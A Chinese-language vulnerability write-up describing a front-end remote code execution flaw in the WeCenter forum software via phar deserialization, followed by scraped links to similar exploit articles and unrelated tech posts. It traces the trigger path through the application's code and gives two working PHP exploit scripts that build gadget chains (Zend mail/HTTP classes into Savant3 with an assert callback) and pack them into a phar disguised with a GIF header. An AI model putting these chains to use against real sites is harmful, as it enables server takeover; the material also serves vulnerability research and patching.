漏洞通过phar触发反序列化漏洞。

触发点:./models/account.php 中的 associate_remote_avatar 方法:

搜索全局调用了该方法的地方:

./app/account/ajax.php 路径中的 synch_img_action 方法:

从数据表 users_weixin中取出数据,想要控制此处,就必须要控制这个表。

再次全局搜索 users_weixin 找insert,update等操作。

./models/openid/weixin/weixin.php

再搜索调用 bind_account 方法:

./app/m/weixin.php 中的 binding_action 方法:

触发rce 的pop链:

./system/Savant3.php 中的 __toString 方法:

先查看isError方法:

只要传入的参数 $obj instanceof Savant3_Error 即可返回true。

再次跟进上面的 fetch 方法:

再次回到最初的 getoutput 方法:

跟进escape方法:

再次寻找一处能触发__toString 的链:

./system/Zend/Mail/Transport/Smtp.php 中的 析构方法:

exp:

<?php

class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
} class Zend_Mail_Transport_Abstract{}
class Zend_Mail_Transport_Smtp extends Zend_Mail_Transport_Abstract
{
protected $_connection;
public function __construct(){
$this->_connection = new Zend_Mail_Protocol_Smtp;
}
}
class Zend_Mail_Protocol_Abstract{}
class Zend_Mail_Protocol_Smtp extends Zend_Mail_Protocol_Abstract
{
protected $_sess = true;
protected $_host;
public function __construct(){
$this->_host = new Savant3;
}
} $obj = new Zend_Mail_Transport_Smtp;
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub 增加gif文件头
$phar->setMetadata($obj); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

还有一条能触发__toString 的pop链:

./system/Zend/Http/Response/Stream.php 中的析构函数:

unlink,file_exists等函数都是可以触发__toString 的。

exp:

<?php
class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
}
class Zend_Http_Response{}
class Zend_Http_Response_Stream extends Zend_Http_Response
{
protected $_cleanup = 1;
protected $stream_name;
public function __construct()
{
$this->stream_name = new Savant3;
}
}

即可直接造成rce漏洞,因为php >= 7 assert不再是函数,导致不能回调了。

文章参考:

https://xz.aliyun.com/t/7077

http://www.yulegeyu.com/2020/01/22/WECENTER-%E5%8F%8D%E5%BA%8F%E5%88%97%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E5%88%A9%E7%94%A8%E9%93%BE/

WeCenter (最新版) 前台RCE漏洞 (2020-02-22)的更多相关文章

  1. 某cms最新版前台RCE漏洞(无需任何权限)2020-03-15

    漏洞文件:application/common/controller/Base.php 中的 getAddonTemplate 方法: 错误的使用了public,导致我们可以直接外部访问. 然后使用了 ...

  2. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

  3. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  4. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  5. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  6. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  7. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

  8. WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞

    该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...

  9. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...

随机推荐

  1. java ListNode 链表

    链表是一种数据结构:由数据和指针构成,链表的指针指向下一个节点. java ListNode 链表 就是用Java自定义实现的链表结构. 基本结构: class ListNode { //类名 :Ja ...

  2. MySQL性能优化,MySQL索引优化,order by优化,explain优化

    前言 今天我们来讲讲如何优化MySQL的性能,主要从索引方面优化.下期文章讲讲MySQL慢查询日志,我们是依据慢查询日志来判断哪条SQL语句有问题,然后在进行优化,敬请期待MySQL慢查询日志篇 建表 ...

  3. eclipse下的jetty远程调试设置

    在windows下的jetty远程调试设置1.首先说明的是windows下的jetty是通过命令java  -jar start.jar来启动的,因此要想设置成远程调试模式,则要改用命令java -X ...

  4. Redis 设计与实现 9:五大数据类型之集合

    集合对象的编码有两种:intset 和 hashtable 编码一:intset intset 的结构 整数集合 intset 是集合底层的实现之一,从名字就可以看出,这是专门为整数提供的集合类型. ...

  5. windows7 错误0xc00000ba;无法进入系统;

    事件背景:电脑windows7 错误0xc00000ba无法进系统:无法进入安全模式:无法进入最后一次正确配置: 事件处理:提示系统文件丢失,注册表异常:知乎有人提及更换WS2_32.DLL; 使用P ...

  6. System类常用方法

    System类常用方法 public static long currentTimeMills() 获取当前系统时间,以毫秒值为单位的当前时间. public static void arraycop ...

  7. Spark学习进度10-DS&DF基础操作

    有类型操作 flatMap 通过 flatMap 可以将一条数据转为一个数组, 后再展开这个数组放入 Dataset val ds1=Seq("hello spark"," ...

  8. 【剑指 Offer】10-II.青蛙跳台阶问题

    题目描述 一只青蛙一次可以跳上1级台阶,也可以跳上2级台阶.求该青蛙跳上一个 n 级的台阶总共有多少种跳法. 答案需要取模 1e9+7(1000000007),如计算初始结果为:1000000008, ...

  9. SpringBoot整合Shiro完成认证

    三.SpringBoot整合Shiro思路 首先从客户端发来的所有请求都经过Shiro过滤器,如果用户没有认证的都打回去进行认证,认证成功的,再判断是否具有访问某类资源(公有资源,私有资源)的权限,如 ...

  10. HAProxy + keepalived 高可用集群代理

    HAProxy + keepalived # 1 安装keepalived: yum install keepalived -y # 2 修改KEEPalived配置文件: vim /etc/keep ...